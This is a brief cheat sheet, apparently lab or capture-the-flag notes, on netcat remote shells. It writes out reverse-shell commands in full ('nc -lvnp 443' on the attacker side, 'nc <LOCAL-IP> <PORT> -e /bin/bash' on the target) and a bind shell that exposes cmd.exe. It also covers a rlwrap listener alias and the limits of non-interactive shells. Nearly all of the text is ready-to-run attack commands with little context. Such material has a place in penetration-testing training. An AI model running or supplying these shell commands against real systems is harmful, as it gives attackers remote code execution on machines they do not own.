Attacker (listen):
sudo nc -lvnp 443
Target (connect back):
nc <LOCAL-IP> <PORT> -e /bin/bash
After connection: you execute commands as the remote user (e.g., whoami).
Target (start listener + execute shell):
nc -lvnp <port> -e "cmd.exe"
Attacker (connect):
nc MACHINE_IP <port>
Grants remote code execution on the target.
whoami (non-interactive) works fine.ssh (interactive) produces no usable output in a non-interactive shell.listener is an alias used on the attacking demo machine:
listener → shorthand for:
sudo rlwrap nc -lvnp 443
This alias won't exist on other machines unless explicitly configured.